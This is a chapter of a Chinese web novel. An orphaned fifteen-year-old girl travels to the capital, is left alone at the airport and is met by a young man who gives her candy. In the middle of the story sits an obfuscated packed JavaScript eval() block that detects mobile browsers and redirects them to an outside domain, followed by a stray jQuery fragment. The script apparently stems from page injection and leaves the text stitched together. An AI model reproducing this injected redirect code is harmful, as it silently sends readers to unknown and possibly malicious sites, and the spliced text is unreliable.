[后来在2025年，程风止代言的橘子糖广告铺满地铁站时，殊漓翻开中学时的旧日记，第一行写着“橘子糖在嘴里绽开时，我尝到了夏天银河的味道”。]
十五岁生日那天，殊漓的人生发生了两件大事。
第一件是她在省城的理发店剪了头发，从长发高马尾的造型变成了不到肩膀的学生头。店里的空调呜呜地吹，室内弥漫着香波的气息和药水味，吹风机轰鸣着，把落在罩衣上的碎发吹在地上，黑色的痕迹像在预示着她“从此以后和长发告个别”。
带她来这的人叫林景芳，和她是鲜花镇的同乡，现在和丈夫在帝都的电子厂做工，据说已经两年没回老家了，这次也是殊漓的寄养家庭程家主动提出报销飞机票、还给一千块补贴拜托她回来接殊漓去帝都，她才兴高采烈应允的。此刻她正和旁边的黄毛Tony老师唠家常，说的尽是些殊漓听不懂的话题，可以看出来，那Tony觉得她有点装，对她爱搭不理的。
“唉，我就说让孩子到帝都再剪头，她非不听，这不，反正学生头也没啥难度，就搁这儿做了吧，价格倒是实惠，才七十块钱。”
殊漓咬了下牙根，任由话题转向自己。
她也不想来省城剪头，这种发型在鲜花镇的小店里顶多十块钱，还能转卖给收头发的大婶，这儿实在不划算。
其实如果殊漓有的选，她更希望保留原本的长发，“那样更像女孩子”，镇上的老师是这么说的，住在她家隔壁的神婆也总说“头发剪太短恋爱运就会变差”，不过她暂时还没有喜欢的人，不在意这些。
而且“去帝都之前把头发剪了”是哥哥下的命令，理由是以后她不能和王阿姨住，要去帝都的寄养家庭，哥哥说大城市的人生活节奏都很快，殊漓的头发又多又容易打结，打理起来耽误时间、影响学业，而且每次洗过都要王阿姨帮着吹干，以后没人能帮她这个忙了，所以只能剪掉。
同时被一同舍去的，还有她的一只巨大号玩具熊和一盒布娃娃，那些都是刑警大队的叔叔阿姨们送给她的，可惜太大，托运的额度不够用，没法带去帝都。
“剪完了。”对着镜子比划的Tony老师从林景芳的唠叨声中松了口气：“看看效果吧。”
“嗯。”殊漓回应他的是一句闷闷的鼻音，她没仔细看，也不太感兴趣。
却在脱掉罩衣的空隙偷偷拾了一缕长发丝，用手缠绕，成结，在无人注意时藏进了兜里。
仿佛这样可以挽回点什么。
“差不多就行。”林景芳看完她头发后又拽了拽她的旧衣领：“打扮淳朴才有好处呢，毕竟不是谁都有被帝都富贵人家收留的好运……走吧，别磨叽了，还赶飞机呢。”
殊漓低着头不想搭话，出于礼貌没有顶撞长辈，眼神空洞地望着地上的长发碎片，被行李箱的轮子碾过，跟灰尘和泡沫一起，变成脏兮兮的样子。
“初次坐飞机”，姑且算作第二件大事。
从鲜花镇到省城，再到北方的帝都，走空路是最快捷的交通方式，上千公里的距离只需要短短几个小时。殊漓原本觉得紧张好奇，坐在窗边的位置一直往外瞧，见到玻璃倒映出自己留着短发的脸，难看陌生的样子令人生厌，遂又拉上了遮光板。
其实如果她能选，她也不想去帝都。
不想去一个陌生的城市里，寄住在别人家。
殊漓的父母是缉毒警，在她两岁那年双双为国牺牲了，是不折不扣的烈士子女，有个比她大十岁的哥哥殊淮后来也继承父母遗志去了军警学校，现在正在边疆做基层工作，几乎没空照看她。
从小殊漓便在鲜花镇老家生活，由远房亲戚王阿姨做监护人，把她养得很好。如果不是两周前王阿姨在省城读重点高中的儿子出了车祸、脱离生命危险后仍需进行长达两年的康复医疗，必须由亲人全程陪同照顾，殊漓大概会一直和她们生活在一起，直到读大学。
“你跟着去省城太添麻烦，阿姨不可能同时照顾你和一个病人。帝都的程叔叔和周阿姨是咱爸妈的老同学，愿意收养你去帝都京海读三年书。叔叔阿姨人很好，工作稳定，家里有个孩子读高三，年年考第一。哥哥会给他们钱，也会给你生活费，你去那里待三年，考个好大学，前途一片大好。”
“只有这样吗……”她红着眼看着殊淮，心目不甘，却只得到一句无奈的宽慰。
“你总要学会自己生活的，漓漓。”
殊漓不再多言，就像接受剪头发一样接受了自己未来三年的去处，心里却忍不住一阵阵泛酸。
一路上殊漓都很想睡觉，可惜飞机气流颠簸，位置也狭窄，她强压着酸味才勉强没晕吐出来。林景芳看她蔫了吧唧的样，找空姐要了一杯热水，笑嘻嘻热情道：
“快来，多喝点水就好了，反正也不要钱。”
殊漓猜这就是她刚才缠着空姐给她倒了三杯不同口味饮料的理由。
落地帝都机场的时候已经是晚饭的点了，下机后林景芳先带着殊漓去取她托运的行李，光是从出来的地方走到转盘都花了快二十分钟，帝都单单一个机场的面积比整个鲜花镇都大。
林景芳的任务是把殊漓带下飞机，在到达区的出口转交给程家的孩子、殊漓未来的同住人程吟，林景芳之前留了他的电话号码，从有信号开始她就一直打，可不知怎的，一直没有打通。
“奇了怪了，不是说好来接的吗？是这个号码绝对没错。”
殊漓站在一旁低着头，不知道该说什么缓解这份尴尬，她想帮忙，但她没有手机，鲜花镇唯一一家电子产品店尽卖些杂牌货，哥哥给了她钱，说让她来帝都再配。
过了大约十几分钟，拨过去无数次，对面依旧无人接听。
林景芳变得很不耐烦，她今晚要上夜班，最迟八点打卡，如果不到那个刻薄的小组长要罚她两百块，机场离市区本就很远，地铁转两趟再转公交，她已经来不及了。
“你知不知道程家住哪？自己坐地铁能回去不？”
殊漓遗憾摇头，来之前没人告诉过她确切的住址。
林景芳又尝试拨了几通，看还没人，像是下定决心一样决绝道：
“阿姨没时间陪你耗了，我给你程吟哥哥发消息说你在七号门，你自己等吧，电话号码我抄给你，有事自己打公共电话，要么找路人借手机。”
反正机票钱和一千块已经拿到，她没理由搭上今晚的两百，十五岁不小了，肯定丢不了。
殊漓张了张嘴，想说些什么，没说出口。
“阿姨先走了哈。”
林景芳就这样扬长而去。
殊漓坐在出口前的长椅旁，守着两件行李，呆呆望着来往的行人，帝都机场人潮汹涌，每个人都行色匆匆，旁边坐着的旅客也安静各玩各的手机，她看起来格外突兀。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363591|183814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玻璃门外夕阳的光影已彻底被黑暗吞噬，两个小时过去，殊漓依旧坐在原位。
中途她也鼓起勇气像路人借过两三回手机，却都没能联系上程家人。
就这么反反复复几次，终于还是引起了路人注意，旁边有对等儿子的老夫妇好奇询问了她的遭遇，在殊漓简单讲述后大为震惊，老太太说要报警，老头嫌老伴多管闲事，两人差点吵起来：
“现在这人心眼忒坏了，十几岁的丫头丢机场不管。”
“人爹妈不早没了吗，谁管啊？只有找警察送孤儿院啊。”
帝都口音带着长长的尾调，你一言我一语像在唱戏，殊漓并不是每句话都听懂，耳朵清晰捕捉到的只有最伤人的那几个字眼：“爹妈早没了”、“送孤儿院”。
心里咯噔一下，鼻子倏地酸了，积压许久的难言委屈涌上心头。
没有爸爸妈妈，王阿姨也不能照顾她了，再也见不到鲜花镇的老师同学，哥哥把她丢给这家人，但这家人也不愿意收留她。
全世界都嫌弃她，都要把她像皮球一样踢来踢去，把她赶走。
地面发亮的瓷砖隐约倒映出她短发的面孔，模样陌生。殊漓试图忍耐，嘴唇紧紧咬着，却再也憋不住，眼泪覆水难收，压抑着啜泣出声。
那老爷爷注意到她哭了，连忙拍了老伴一下，让她闭嘴，其余人的目光也像这边聚集过来，夹杂着几声窃窃私语。
殊漓很害怕他们的目光，头低得很深，不愿说话。
隐约又传来尼龙轮摩擦大理石接缝的嗡嗡声，似是有人拖着箱子在行走，和之前来来往往的过客不同，他好像离她近些，径直朝着这个方向走来。
在她面前、人群的包围圈中停步。
垂着的眼只看清垂直西装裤下的黑色皮鞋，泛着淡淡光泽，她在电视上看到过这个牌子，一双都要她半年的生活费。
她没多想，也没抬头，身体因为抽泣有些颤抖。
一直到后来殊漓也没分清，那年夏天对他的第一印象，到底是透过肌肤传来的皂感香气，还是那句带着慵懒尾调，漫不经心的开场白：
“谁在哭呀？”
不知是在问周围人还是在问她。
心跳毫无缘由地一顿，殊漓攥紧衣角，微微抬眸，透过哭红的泪眼，雾气中对上一双黑润的眼。
那人的黑发细碎散落在额前，眉骨凛冽，眼睫像鸦羽，在暖调的灯光中落下阴影，那样硬朗倨傲的五官原本应该很显凶的，可他脸上挂着的神色太过随性，即使看见他正蹙眉，她依旧没那么害怕。
“对不起，是我……”
“我在哭”三个字有点难以启齿，她实在说不出口，委屈吸着鼻子。
“殊漓？”
“是。”被叫出名字的瞬间有些发怔，她刚想问他是不是来接她的程吟，唇边却恍然拂过温柔的触感，带着股若有若无的冷调皂感香气——不同于鲜花镇的潮湿和帝都的燥热，像一场不曾触及的初雪。
舌尖俶然传来点点酸甜。
那人伸手，灵活的五指剥开一颗橘子味软糖，喂到她口中。他弯腰时，殊漓恍然瞥见他敞开一颗扣子的衬衫领口处，锁骨下方有一道浅色的疤痕，像弯弯的月牙，嵌在皮肤里。
“不许哭，吃糖。”
也许这是他现在能想到的、哄小孩的唯一方式。
“我叫程风止，来接你回家。”